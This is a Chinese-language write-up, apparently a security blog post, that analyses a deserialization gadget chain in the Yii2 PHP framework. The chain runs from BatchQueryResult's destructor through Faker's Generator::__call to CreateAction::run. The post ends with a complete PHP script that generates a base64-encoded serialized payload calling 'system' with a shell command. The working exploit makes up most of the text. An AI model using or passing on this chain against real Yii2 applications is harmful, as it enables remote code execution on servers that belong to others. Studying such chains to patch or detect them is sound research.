影响范围
该框架反序列化起点在: /vendor/yiisoft/yii2/db/BatchQueryResult.php 中;
1 2 3 4 5
| public function __destruct() { $this->reset(); }
|
直接析构函数出可以调用reset函数;追踪reset函数;
1 2 3 4 5 6 7 8 9 10
| public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); } $this->_dataReader = null; $this->_batch = null; $this->_value = null; $this->_key = null; }
|
reset函数中发现 $this->_dataReader可控,这里可以充当跳板给其赋值为任意实例化类,从而调用call方法;
全局搜索 function __call方法。最后选用/vendor/fzaninotto/faker/src/Faker/Generator.php;下的call
1 2 3 4 5
| public function __call($method, $attributes) { return $this->format($method, $attributes); }
|
可以看到该类下call方法会调用fomat方法,继续回溯发现format方法下有 call_user_func_array方法;
1 2 3 4
| public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); }
|
继续回溯getFormatter函数
1 2 3 4 5
| public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; }
|
发现其依然return 这里因为formatters参数可控,所以我们可以赋值;所以该回溯点可控;
又因为$this->formatters可控;所以结合call_user_func_array,我们可以调用任意类下的任意方法,但是这里我们回溯一下$arguments,因为我们直接由最开是的析构函数直接调用了call函数,从而我们无法控制$arguments这个变量; 所以我们只能不带参数地去调用别的类中的方法。
全局搜索call_user_func函数,且两个参数都为类中的成员变量;
去到 yii\rest\CreateAction.php下;
1 2 3 4 5
| public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); }
|
$this->checkAccess和$this->id我们都可控从而进行污染,所以我们最后的链条也已经出来;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id;
public function __construct(){ $this->checkAccess = 'system'; $this->id = 'ls -al'; } } }
namespace Faker{ use yii\rest\CreateAction;
class Generator{ protected $formatters;
public function __construct(){ $this->formatters['close'] = [new CreateAction, 'run']; } } }
namespace yii\db{ use Faker\Generator;
class BatchQueryResult{ private $_dataReader;
public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); } ?>
|
解释一下那里之所以使用close,是因为我们最开始是在使用析构函数去访问close方法无果后跳到call方法的,所以其第一个参数就是不存在的方法;代码逻辑不是很难;
后续再挖补充新得pop链吧;